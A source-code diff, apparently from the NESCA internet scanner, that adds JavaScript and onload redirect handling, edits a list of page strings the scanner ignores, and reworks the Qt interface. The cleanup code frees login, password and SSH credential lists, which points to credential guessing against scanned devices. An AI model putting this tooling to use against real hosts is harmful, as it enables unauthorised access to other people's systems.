if(strstri(str, "https://") != NULL) if(strstri(str, "https://") != NULL)
{ {
tempPort = 443; tempPort = 443;
char *ptr1 = strstri(str, "https://"); char *ptr1 = strstri(str, "https://");
char *ptr2 = _findFirstOcc(str + 8, ":/"); char *ptr2 = _findFirstOcc(str + 8, ":/");
if(ptr2 != NULL) if(ptr2 != NULL)
@ -2288,6 +2328,26 @@ void _getLinkFromJSLocation(char *dataBuff, char *str, char *tag, char *ip, int
else strncpy(dataBuff, ptrQuote1 + 1, lsz); else strncpy(dataBuff, ptrQuote1 + 1, lsz);
}; };
}; };
}
else
{
ptrQuote1 = strstr(ptr2, "=");
if(ptrQuote1 != NULL)
{
char *ptrQuote2 = _findFirstOcc(ptr2, ";\n");
if(ptrQuote2 != NULL)
{
int sz = ptrQuote2 - ptr2 - 1;
char link1[512] = {0};
strncpy(link1, ptr2 + 1, sz);
char *ptrQuote3 = strstr(link1, "/");
if(ptrQuote3 != NULL)
{
char link[512] = {0};
strcpy(dataBuff, ptrQuote3);
};
};
};
}; };
}; };
} }
@ -2321,7 +2381,7 @@ void _getJSCookie(char *dataBuff, char *str, char *ip, int port)
int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std::vector<std::string> *redirStrLst, char *rBuff) int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std::vector<std::string> *redirStrLst, char *rBuff)
{ {
std::string redirectStr = ""; std::string redirectStr = "";
if(strstr(str, "Set-Cookie:") != NULL) strncpy(ps->cookie, _getAttribute(str, "Set-Cookie:"), 1024); if(strstr(str, "Set-Cookie:") != NULL) strncpy(ps->cookie, _getAttribute(str, "Set-Cookie:"), COOKIE_MAX_SIZE);
#pragma region Prechecks #pragma region Prechecks
if(strstr(str, "[IGNR_ADDR]") != NULL) if(strstr(str, "[IGNR_ADDR]") != NULL)
@ -2387,6 +2447,7 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std:
#pragma region 302 Redirects #pragma region 302 Redirects
if( strstri(str, "http/1.0 301") != NULL || strstri(str, "http/1.1 301") != NULL if( strstri(str, "http/1.0 301") != NULL || strstri(str, "http/1.1 301") != NULL
|| strstri(str, "http/1.0 302") != NULL || strstri(str, "http/1.1 302") != NULL || strstri(str, "http/1.0 302") != NULL || strstri(str, "http/1.1 302") != NULL
|| strstri(str, "http/1.0 307") != NULL || strstri(str, "http/1.1 307") != NULL
|| strstri(str, "303 see other") != NULL || strstri(str, "303 see other") != NULL
) )
{ {
@ -2545,7 +2606,6 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std:
memset(scriptContainer + sz, '\0', 1); memset(scriptContainer + sz, '\0', 1);
if(strstri(scriptContainer, "location.href") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "location.href", ip, port); if(strstri(scriptContainer, "location.href") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "location.href", ip, port);
else if(strstri(scriptContainer, "window.location") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "window.location", ip, port);
else if(strstri(scriptContainer, "location.replace") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "location.replace", ip, port); else if(strstri(scriptContainer, "location.replace") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "location.replace", ip, port);
else if(strstri(scriptContainer, "location.reload") != NULL) strcpy(linkPtr, "/"); else if(strstri(scriptContainer, "location.reload") != NULL) strcpy(linkPtr, "/");
else if(strstri(scriptContainer, "location") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "location", ip, port); else if(strstri(scriptContainer, "location") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "location", ip, port);
@ -2560,7 +2620,11 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std:
}; };
}; };
delete []scriptContainer; delete []scriptContainer;
if(ps->flag == 1) return -2; if(ps->flag >= 17 || ps->flag == 11 || ps->flag == 12
|| ps->flag == 13 || ps->flag == 14 || ps->flag == 1
|| ps->flag == 10
)
return -2;
} }
else else
{ {
@ -2571,6 +2635,46 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std:
ptr1 = strstri(ptr2, "<script"); ptr1 = strstri(ptr2, "<script");
} }
while(ptr1 != NULL); while(ptr1 != NULL);
}
else if(strstri(str, " onload") != NULL)
{
char *ptr1 = strstri(str, " onload");
char *ptr2 = strstr(ptr1, ">");
if(ptr2 != NULL)
{
int sz = ptr2 - ptr1;
if(sz < 512)
{
char linkPtr[512] = {0};
ZeroMemory(linkPtr, 512);
strncpy(linkPtr, ptr1, sz);
char *scriptContainer = new char[sz + 1];
ZeroMemory(scriptContainer, sz + 1);
strncpy(scriptContainer, ptr1, sz);
memset(scriptContainer + sz, '\0', 1);
if(strstri(scriptContainer, "location.href") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "location.href", ip, port);
else if(strstri(scriptContainer, "location.replace") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "location.replace", ip, port);
else if(strstri(scriptContainer, "location.reload") != NULL) strcpy(linkPtr, "/");
else if(strstri(scriptContainer, "location") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "location", ip, port);
if(strlen(linkPtr) != 0)
{
redirectStr = std::string(linkPtr);
if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end())
{
redirStrLst->push_back(redirectStr);
redirectReconnect(ps->cookie, ip, port, linkPtr, l, ps, redirStrLst, rBuff);
};
};
delete []scriptContainer;
if(ps->flag >= 17 || ps->flag == 11 || ps->flag == 12
|| ps->flag == 13 || ps->flag == 14 || ps->flag == 1
|| ps->flag == 10
)
return -2;
};
};
}; };
#pragma endregion #pragma endregion

View File

@ -3,6 +3,11 @@ liveinternet
#[Dlink] #[Dlink]
session_login.php?reload=1 session_login.php?reload=1
atwiki atwiki
studio
McMyAdmin
Aviso de Bloqueio
Servico nao disponivel
Content-Encoding: gzip
no connections allowed no connections allowed
pocket-solution pocket-solution
trustclick trustclick
@ -17,9 +22,14 @@ service unavailable
is still available is still available
php framework php framework
BlueBean BlueBean
Herzlich
Web-Based Configurator
Willkommen!
403 forbidden 403 forbidden
404 not found 404 not found
document not found
504 gateway timeout 504 gateway timeout
Defaultpage
500 internal server error 500 internal server error
500 - internal server error 500 - internal server error
502 bad gateway 502 bad gateway
@ -37,11 +47,11 @@ failed to open stream
500 OOPS 500 OOPS
Comming Soon Comming Soon
is sample html is sample html
google_ad_client
/js/thickbox.js /js/thickbox.js
google_ad_slot google_ad_slot
plone plone
openmail openmail
You don't have permission
institute institute
google-analytics.com google-analytics.com
googlesyndication googlesyndication
@ -57,15 +67,9 @@ MELOOK
/cart/view /cart/view
/catalog/search.php /catalog/search.php
/cgi-bin/welcome.cgi /cgi-bin/welcome.cgi
/citrix/
/citrixaccess
/contact
/welcome/ /welcome/
application/x-shockwave-flash application/x-shockwave-flash
/contactus
/contact-us
/customer /customer
/client
/esi.cgi?page=status-index.xml /esi.cgi?page=status-index.xml
/guarantee /guarantee
/html/index.asp /html/index.asp
@ -84,8 +88,7 @@ application/x-shockwave-flash
/servlet/wap/login /servlet/wap/login
site introuvable site introuvable
shop shop
/buy sell
/sell
/company /company
/brand /brand
/signin /signin
@ -128,7 +131,6 @@ access the sharecenter
actiontec_bottom actiontec_bottom
adsense adsense
afrekenen afrekenen
agent web client
ahcom tecnologia ahcom tecnologia
alfresco alfresco
app service app service
@ -136,8 +138,7 @@ apache_pb.gif
airties airties
aktualizacji aktualizacji
amicaweb amicaweb
Alan Adı Al Alan Adı
Alan Adı Sat
and supervision tool and supervision tool
annex b annex b
apache http server test apache http server test
@ -167,8 +168,7 @@ blog/about/
blog/comments/ blog/comments/
bubba|2 bubba|2
buffalo inc buffalo inc
buy or sell buy
buy ticket
cable modem cable modem
cafe cafe
call us call us
@ -189,8 +189,7 @@ cheditor
chiliproject chiliproject
check availability check availability
citrix/xenapp citrix/xenapp
cliente client
clientes
cloud cloud
cmside.htm cmside.htm
company. company.
@ -202,29 +201,12 @@ configuration file does not
confixx confixx
construcci construcci
consulta consulta
contact info contac
contact our webmaster
contact support
contact to us
contact us
contact webmaster
contact.
contact_us.
contactanos
contactar
contact-info
contacto
contacts.
contact-us
contactus.
contate
come back later come back later
contato contat
contatt
control de inventarios control de inventarios
control de solicitudes control de solicitudes
controles de acceso controles de acceso
cookiechecker
currently unavailable currently unavailable
cooking cooking
coltd coltd
@ -241,8 +223,11 @@ currently unreachable
cs3 dreamweaver cs3 dreamweaver
FrontPage FrontPage
TESTPAGE TESTPAGE
Too many connections
BB-HGW BB-HGW
OS X Lion OS X Lion
Inspire DVR
DVR Components Download
Homepage Builder Homepage Builder
dashboard.css dashboard.css
dating dating
@ -273,7 +258,7 @@ domain has been registered
domain name registration domain name registration
domain registered domain registered
domainapps.com domainapps.com
domains for sale sale
domeny domeny
domeingeregistreerd domeingeregistreerd
down for maint down for maint
@ -286,7 +271,6 @@ dsnextgen.com
dsparking.com dsparking.com
DATA LAN DISK DATA LAN DISK
TEST SITE TEST SITE
dxclient
eap web interface eap web interface
echolife echolife
ediciones tierrazul ediciones tierrazul
@ -316,7 +300,6 @@ Fireworks MX
fast35xx fast35xx
facebook facebook
football football
for sale
forex forex
forgot password forgot password
free delivery free delivery
@ -351,7 +334,6 @@ help desk
hotspot login hotspot login
htmlanvview: htmlanvview:
icecast2 icecast2
ids_web_login
ie-plugin ie-plugin
iis7 iis7
iis8 iis8
@ -365,7 +347,6 @@ information services 8
ingrese usuario ingrese usuario
inicio inicio
initservicecookie initservicecookie
initwebclient
inloggen inloggen
insurance insurance
intelligent digital security system intelligent digital security system
@ -467,7 +448,6 @@ oma domain
on varattu on varattu
opening soon opening soon
openwebmail openwebmail
page=contact
page=about page=about
pagerrorimg pagerrorimg
pagos pagos
@ -495,7 +475,6 @@ por internet
portada portada
portal de portal de
postinfo.html postinfo.html
pre-sale
price price
prikol prikol
privacy policies privacy policies
@ -541,7 +520,6 @@ roundcube
s.r.l. s.r.l.
sakura internet sakura internet
sabnzbd sabnzbd
sale only
samsung digital samsung digital
sapphire journal sapphire journal
sbuilder.ru sbuilder.ru
@ -554,10 +532,8 @@ secure login page
securepaynet securepaynet
sedoparking.com sedoparking.com
selectkind.html selectkind.html
seller
server application error server application error
server default page server default page
service client
servicio servicio
shared ip shared ip
sign in now sign in now
@ -663,7 +639,6 @@ try again later
tutorial tutorial
twitter twitter
Tlf. Tlf.
Web Client Pro
mailto: mailto:
WJND300 WJND300
Home Page Home Page
@ -694,20 +669,17 @@ varaa itsellesi
w@de w@de
wade wade
web applications web applications
web client for edvs
web console web console
web device manager web device manager
web frontend web frontend
web hosting web hosting
web remote access web remote access
web remote client
web server setup guide web server setup guide
web site creator web site creator
webage unavailable webage unavailable
website does not exist website does not exist
web-based configurator web-based configurator
webcamx webcamx
webclient.js
webconfig webconfig
webcontrol webcontrol
webguard login webguard login

View File

@ -110,6 +110,7 @@ QGraphicsScene *sceneActivityGrid;
QGraphicsScene *sceneTextPlacer; QGraphicsScene *sceneTextPlacer;
QGraphicsScene *sceneVoice; QGraphicsScene *sceneVoice;
QGraphicsScene *pbScene; QGraphicsScene *pbScene;
QGraphicsScene *jobRangeVisualScene;
QString importFileName = ""; QString importFileName = "";
@ -194,6 +195,7 @@ void setSceneArea()
sceneTextPlacer = new QGraphicsScene(); sceneTextPlacer = new QGraphicsScene();
sceneVoice = new QGraphicsScene(); sceneVoice = new QGraphicsScene();
pbScene = new QGraphicsScene(); pbScene = new QGraphicsScene();
jobRangeVisualScene = new QGraphicsScene();
ui->graphicLog->setScene(sceneGrid); ui->graphicLog->setScene(sceneGrid);
ui->graphicLog_2->setScene(sceneGraph); ui->graphicLog_2->setScene(sceneGraph);
@ -204,6 +206,8 @@ void setSceneArea()
ui->graphicTextPlacer->setScene(sceneTextPlacer); ui->graphicTextPlacer->setScene(sceneTextPlacer);
ui->graphicsVoice->setScene(sceneVoice); ui->graphicsVoice->setScene(sceneVoice);
ui->pbgv->setScene(pbScene); ui->pbgv->setScene(pbScene);
ui->jobRangeVisual->setScene(jobRangeVisualScene);
ui->graphicLog->setSceneRect(0, 0, ui->graphicLog->width(), ui->graphicLog->height()); ui->graphicLog->setSceneRect(0, 0, ui->graphicLog->width(), ui->graphicLog->height());
ui->graphicLog_2->setSceneRect(0, 0, ui->graphicLog_2->width(), ui->graphicLog_2->height()); ui->graphicLog_2->setSceneRect(0, 0, ui->graphicLog_2->width(), ui->graphicLog_2->height());
@ -214,8 +218,8 @@ void setSceneArea()
ui->graphicTextPlacer->setSceneRect(0, 0, ui->graphicTextPlacer->width(), ui->graphicTextPlacer->height()); ui->graphicTextPlacer->setSceneRect(0, 0, ui->graphicTextPlacer->width(), ui->graphicTextPlacer->height());
ui->graphicsVoice->setSceneRect(0, 0, ui->graphicsVoice->width(), ui->graphicsVoice->height()); ui->graphicsVoice->setSceneRect(0, 0, ui->graphicsVoice->width(), ui->graphicsVoice->height());
ui->pbgv->setSceneRect(0, 0, ui->pbgv->width(), ui->pbgv->height()); ui->pbgv->setSceneRect(0, 0, ui->pbgv->width(), ui->pbgv->height());
ui->jobRangeVisual->setSceneRect(0, 0, ui->jobRangeVisual->width(), ui->jobRangeVisual->height());
}; };
void setButtonStyleArea() void setButtonStyleArea()
{ {
ui->checkKeyBut->setStyleSheet( ui->checkKeyBut->setStyleSheet(
@ -301,8 +305,8 @@ void setButtonStyleArea()
); );
}; };
void setSomeStyleArea() void setSomeStyleArea()
{qApp->setStyleSheet( {
qApp->setStyleSheet(
"QMenu{" "QMenu{"
"color:rgb(216, 216, 216);background-color: rgb(26, 26, 26); border: 1px solid white;" "color:rgb(216, 216, 216);background-color: rgb(26, 26, 26); border: 1px solid white;"
"}" "}"
@ -349,11 +353,6 @@ void setSomeStyleArea()
"border-radius: 0px;" "border-radius: 0px;"
"}" "}"
" #widgetIRC {"
"border: 1px solid #525252;"
"border-radius: 0px;"
"}"
" #exitButton {" " #exitButton {"
"color: #525252;" "color: #525252;"
"border: 0px solid black;" "border: 0px solid black;"
@ -1295,10 +1294,13 @@ void nesca_3::ChangeDispalyMode()
{ {
if(widgetIsHidden == false && tray->isVisible() == false) if(widgetIsHidden == false && tray->isVisible() == false)
{ {
ui->IRCModeChangerBut->setVisible(true);
blinkFlag = false; blinkFlag = false;
widgetIsHidden = true; widgetIsHidden = true;
ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);"); ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);");
ui->IRCModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);"); ui->JobModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);");
ui->IRCModeBut->setStyleSheet("background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(0, 214, 0, 40);color: rgb(0, 214, 0);");
ui->widgetJOB->setGeometry(QRect(500, 44, 500, 730));
ui->widgetIRC->setGeometry(QRect(1, 44, 498, 730)); ui->widgetIRC->setGeometry(QRect(1, 44, 498, 730));
ui->shoutBox->setFocus(); ui->shoutBox->setFocus();
QWidget::activateWindow(); QWidget::activateWindow();
@ -1306,6 +1308,8 @@ void nesca_3::ChangeDispalyMode()
} }
else else
{ {
ui->IRCModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);");
ui->IRCModeChangerBut->setVisible(false);
disableBlink = false; disableBlink = false;
blinkFlag = true; blinkFlag = true;
widgetIsHidden = false; widgetIsHidden = false;
@ -1313,6 +1317,23 @@ void nesca_3::ChangeDispalyMode()
ui->widgetIRC->setGeometry(QRect(500, 44, 500, 730)); ui->widgetIRC->setGeometry(QRect(500, 44, 500, 730));
}; };
}; };
void nesca_3::switchToJobMode()
{
if(ui->widgetJOB->geometry().x() == 500)
{
ui->widgetIRC->setGeometry(QRect(500, 44, 500, 730));
ui->IRCModeChangerBut->setVisible(false);
widgetIsHidden = false;
ui->widgetJOB->setGeometry(QRect(1, 44, 498, 730));
ui->JobModeBut->setStyleSheet("background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(0, 214, 0, 40);color: rgb(0, 214, 0);");
ui->IRCModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);");
}
else
{
ui->widgetJOB->setGeometry(QRect(500, 44, 500, 730));
ui->JobModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);");
};
};
void nesca_3::CheckProxy() void nesca_3::CheckProxy()
{ {
saveOptions(); saveOptions();
@ -2020,6 +2041,7 @@ void nesca_3::slotShowDataflow()
if(MapWidgetOpened == false) if(MapWidgetOpened == false)
{ {
MapWidgetOpened = true; MapWidgetOpened = true;
ui->DataflowModeBut->setStyleSheet("background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(0, 214, 0, 40);color: rgb(0, 214, 0);");
qwm = new QWidget(); qwm = new QWidget();
qwm->setWindowFlags(Qt::FramelessWindowHint|Qt::SubWindow); qwm->setWindowFlags(Qt::FramelessWindowHint|Qt::SubWindow);
qwm->setStyleSheet( qwm->setStyleSheet(
@ -2046,13 +2068,13 @@ void nesca_3::slotShowDataflow()
} }
else else
{ {
ui->DataflowModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);");
delete []SendData; delete []SendData;
delete []RecvData; delete []RecvData;
delete []qwm; delete []qwm;
qwm = NULL; qwm = NULL;
RecvData = NULL; RecvData = NULL;
SendData = NULL; SendData = NULL;
MapWidgetOpened = false; MapWidgetOpened = false;
}; };
}; };
@ -2790,11 +2812,10 @@ void nesca_3::ConnectEvrthng()
connect ( ui->serverPortBox, SIGNAL( returnPressed() ), this, SLOT( ConnectToIRCServer() ) ); connect ( ui->serverPortBox, SIGNAL( returnPressed() ), this, SLOT( ConnectToIRCServer() ) );
connect ( ui->checkKeyBut, SIGNAL( clicked() ), this, SLOT( CheckPersKey() ) ); connect ( ui->checkKeyBut, SIGNAL( clicked() ), this, SLOT( CheckPersKey() ) );
connect ( ui->DataflowModeBut, SIGNAL( clicked() ), this, SLOT( slotShowDataflow() ) ); connect ( ui->DataflowModeBut, SIGNAL( clicked() ), this, SLOT( slotShowDataflow() ) );
connect ( ui->DataflowModeBut_2, SIGNAL( clicked() ), this, SLOT( slotShowDataflow() ) );
connect ( ui->IRCConnectBut, SIGNAL( clicked() ), this, SLOT( ConnectToIRCServer() ) ); connect ( ui->IRCConnectBut, SIGNAL( clicked() ), this, SLOT( ConnectToIRCServer() ) );
connect ( ui->IRCModeChangerBut, SIGNAL( clicked() ), this, SLOT( ChangeIRCRawLog() ) ); connect ( ui->IRCModeChangerBut, SIGNAL( clicked() ), this, SLOT( ChangeIRCRawLog() ) );
connect ( ui->JobModeBut, SIGNAL( clicked() ), this, SLOT( switchToJobMode() ) );
connect ( ui->IRCModeBut, SIGNAL( clicked() ), this, SLOT( ChangeDispalyMode() ) ); connect ( ui->IRCModeBut, SIGNAL( clicked() ), this, SLOT( ChangeDispalyMode() ) );
connect ( ui->IRCModeBut_2, SIGNAL( clicked() ), this, SLOT( ChangeDispalyMode() ) );
connect ( ui->clearLogBut, SIGNAL( clicked() ), this, SLOT( slotClearLogs() ) ); connect ( ui->clearLogBut, SIGNAL( clicked() ), this, SLOT( slotClearLogs() ) );
connect ( ui->IRCUTFMode, SIGNAL( clicked() ), this, SLOT( slotChangeCPModeToUTF() ) ); connect ( ui->IRCUTFMode, SIGNAL( clicked() ), this, SLOT( slotChangeCPModeToUTF() ) );
connect ( ui->IRCCP1251Mode, SIGNAL( clicked() ), this, SLOT( slotChangeCPModeTo1251() ) ); connect ( ui->IRCCP1251Mode, SIGNAL( clicked() ), this, SLOT( slotChangeCPModeTo1251() ) );
@ -3262,6 +3283,7 @@ void _startMsgCheck()
ui->widgetIRC->installEventFilter(this); ui->widgetIRC->installEventFilter(this);
ui->shoutBox->installEventFilter(this); ui->shoutBox->installEventFilter(this);
setSomeStyleArea(); setSomeStyleArea();
ui->IRCModeChangerBut->setVisible(false);
ui->dataText->setOpenExternalLinks(true); ui->dataText->setOpenExternalLinks(true);
ui->dataText->setOpenLinks(false); ui->dataText->setOpenLinks(false);
ui->rVerLabel->hide(); ui->rVerLabel->hide();
@ -3321,6 +3343,22 @@ void _startMsgCheck()
_startVerCheck(); _startVerCheck();
_startMsgCheck(); _startMsgCheck();
//for(int i = 0; i < 480; ++i+=)
float step = 0;
QPen iprvPenRegular(QColor(51, 51, 51, 100));
QPen iprvPen(QColor(51, 51, 51, 100));
while(step < 480)
{
jobRangeVisualScene->addLine(step, 0, step, 41, iprvPenRegular);
step += 30;
};
QPen iprvPenComplete(QColor(51, 51, 51, 100));
while(step < 480)
{
jobRangeVisualScene->addLine(step, 0, step, 41, iprvPen);
step += 30;
};
}; };
void nesca_3::playFcknSound() void nesca_3::playFcknSound()
{ {
@ -3473,7 +3511,7 @@ void nesca_3::STTTerminate()
globalScanFlag = false; globalScanFlag = false;
stt->terminate(); stt->terminate();
while(__savingBackUpFile) Sleep(100);
if(loginLst != NULL) if(loginLst != NULL)
{ {
for(int i = 0; i < MaxLogin; i++) delete []loginLst[i]; for(int i = 0; i < MaxLogin; i++) delete []loginLst[i];
@ -3510,7 +3548,24 @@ void nesca_3::STTTerminate()
delete []sshlpLst; delete []sshlpLst;
sshlpLst = NULL; sshlpLst = NULL;
}; };
if(ipsstartfl != NULL)
{
for(int i = 0; i < importFileSize; ++i) delete []ipsstartfl[i];
delete []ipsstartfl;
ipsstartfl = NULL;
};
if(ipsendfl != NULL)
{
for(int i = 0; i < importFileSize; ++i) delete []ipsendfl[i];
delete []ipsendfl;
ipsendfl = NULL;
};
if(starterIP != NULL)
{
for(int i = 0; i < importFileSize; ++i) delete []starterIP[i];
delete []starterIP;
starterIP = NULL;
};
ui->tabMainWidget->setTabEnabled(0, true); ui->tabMainWidget->setTabEnabled(0, true);
ui->tabMainWidget->setTabEnabled(1, true); ui->tabMainWidget->setTabEnabled(1, true);
ui->tabMainWidget->setTabEnabled(2, true); ui->tabMainWidget->setTabEnabled(2, true);

View File

@ -93,6 +93,7 @@ protected:
void setNickBox(QString str); void setNickBox(QString str);
void SaySmthng(); void SaySmthng();
void ChangeIRCRawLog(); void ChangeIRCRawLog();
void switchToJobMode();
void ConnectToIRCServer(); void ConnectToIRCServer();
void CheckProxy(); void CheckProxy();
void ChangeDispalyMode(); void ChangeDispalyMode();

View File

@ -251,7 +251,7 @@
<enum>Qt::NoFocus</enum> <enum>Qt::NoFocus</enum>
</property> </property>
<property name="styleSheet"> <property name="styleSheet">
<string notr="true">background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255))</string> <string notr="true">background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255));</string>
</property> </property>
<widget class="QTabWidget" name="tabMainWidget"> <widget class="QTabWidget" name="tabMainWidget">
<property name="enabled"> <property name="enabled">
@ -2629,33 +2629,6 @@ background-color: #000000;</string>
<string>&lt;</string> <string>&lt;</string>
</property> </property>
</widget> </widget>
<widget class="QPushButton" name="IRCModeBut">
<property name="geometry">
<rect>
<x>390</x>
<y>50</y>
<width>48</width>
<height>16</height>
</rect>
</property>
<property name="font">
<font>
<family>Eurostile</family>
</font>
</property>
<property name="toolTip">
<string>Netstalker IRC Messenger</string>
</property>
<property name="whatsThis">
<string>Netstalker IRC Messenger</string>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);</string>
</property>
<property name="text">
<string>:NS-IRC</string>
</property>
</widget>
<widget class="QLabel" name="labelTracker"> <widget class="QLabel" name="labelTracker">
<property name="geometry"> <property name="geometry">
<rect> <rect>
@ -2843,33 +2816,6 @@ background-color: #000000;</string>
<string>X</string> <string>X</string>
</property> </property>
</widget> </widget>
<widget class="QPushButton" name="DataflowModeBut">
<property name="geometry">
<rect>
<x>440</x>
<y>50</y>
<width>48</width>
<height>16</height>
</rect>
</property>
<property name="font">
<font>
<family>Eurostile</family>
</font>
</property>
<property name="toolTip">
<string>Online datastream</string>
</property>
<property name="whatsThis">
<string>Online datastream</string>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);</string>
</property>
<property name="text">
<string>:Dataflow</string>
</property>
</widget>
<widget class="QPushButton" name="secretMessageBut_1"> <widget class="QPushButton" name="secretMessageBut_1">
<property name="geometry"> <property name="geometry">
<rect> <rect>
@ -3001,7 +2947,7 @@ background-color: #000000;</string>
<widget class="QLabel" name="newMessageLabel"> <widget class="QLabel" name="newMessageLabel">
<property name="geometry"> <property name="geometry">
<rect> <rect>
<x>300</x> <x>265</x>
<y>53</y> <y>53</y>
<width>70</width> <width>70</width>
<height>10</height> <height>10</height>
@ -3223,14 +3169,12 @@ background-color: #000000;</string>
<zorder>labelBadAddr</zorder> <zorder>labelBadAddr</zorder>
<zorder>labelOffline_Value</zorder> <zorder>labelOffline_Value</zorder>
<zorder>switcherBut</zorder> <zorder>switcherBut</zorder>
<zorder>IRCModeBut</zorder>
<zorder>labelTracker</zorder> <zorder>labelTracker</zorder>
<zorder>graphicActivityGrid</zorder> <zorder>graphicActivityGrid</zorder>
<zorder>graphicActivity</zorder> <zorder>graphicActivity</zorder>
<zorder>VoiceScanBut</zorder> <zorder>VoiceScanBut</zorder>
<zorder>graphicsVoice</zorder> <zorder>graphicsVoice</zorder>
<zorder>clearLogBut</zorder> <zorder>clearLogBut</zorder>
<zorder>DataflowModeBut</zorder>
<zorder>secretMessageBut_1</zorder> <zorder>secretMessageBut_1</zorder>
<zorder>secretMessageBut_2</zorder> <zorder>secretMessageBut_2</zorder>
<zorder>secretMessageBut_3</zorder> <zorder>secretMessageBut_3</zorder>
@ -3252,34 +3196,13 @@ background-color: #000000;</string>
<rect> <rect>
<x>500</x> <x>500</x>
<y>44</y> <y>44</y>
<width>500</width> <width>498</width>
<height>730</height> <height>730</height>
</rect> </rect>
</property> </property>
<property name="styleSheet"> <property name="styleSheet">
<string notr="true">background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255));border: none;</string> <string notr="true">background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255));</string>
</property> </property>
<widget class="QPushButton" name="IRCModeBut_2">
<property name="geometry">
<rect>
<x>390</x>
<y>6</y>
<width>48</width>
<height>16</height>
</rect>
</property>
<property name="font">
<font>
<family>Eurostile</family>
</font>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);</string>
</property>
<property name="text">
<string>:NS-Scan</string>
</property>
</widget>
<widget class="QLineEdit" name="ircServerBox"> <widget class="QLineEdit" name="ircServerBox">
<property name="geometry"> <property name="geometry">
<rect> <rect>
@ -3560,27 +3483,6 @@ p, li { white-space: pre-wrap; }
<string>Check proxy</string> <string>Check proxy</string>
</property> </property>
</widget> </widget>
<widget class="QPushButton" name="IRCModeChangerBut">
<property name="geometry">
<rect>
<x>340</x>
<y>6</y>
<width>48</width>
<height>16</height>
</rect>
</property>
<property name="font">
<font>
<family>Eurostile</family>
</font>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);</string>
</property>
<property name="text">
<string>:IRC raw</string>
</property>
</widget>
<widget class="QTextBrowser" name="ircRaw"> <widget class="QTextBrowser" name="ircRaw">
<property name="geometry"> <property name="geometry">
<rect> <rect>
@ -3636,33 +3538,6 @@ p, li { white-space: pre-wrap; }
<bool>false</bool> <bool>false</bool>
</property> </property>
</widget> </widget>
<widget class="QPushButton" name="DataflowModeBut_2">
<property name="geometry">
<rect>
<x>440</x>
<y>6</y>
<width>48</width>
<height>16</height>
</rect>
</property>
<property name="font">
<font>
<family>Eurostile</family>
</font>
</property>
<property name="toolTip">
<string>Anomaly map</string>
</property>
<property name="whatsThis">
<string>Online datastream</string>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);</string>
</property>
<property name="text">
<string>:Dataflow</string>
</property>
</widget>
<widget class="QPushButton" name="nickShowBut"> <widget class="QPushButton" name="nickShowBut">
<property name="geometry"> <property name="geometry">
<rect> <rect>
@ -3899,7 +3774,6 @@ color: rgb(71, 71, 71);</string>
</widget> </widget>
<zorder>nickList</zorder> <zorder>nickList</zorder>
<zorder>ircRaw</zorder> <zorder>ircRaw</zorder>
<zorder>IRCModeBut_2</zorder>
<zorder>ircServerBox</zorder> <zorder>ircServerBox</zorder>
<zorder>shoutBox</zorder> <zorder>shoutBox</zorder>
<zorder>serverPortBox</zorder> <zorder>serverPortBox</zorder>
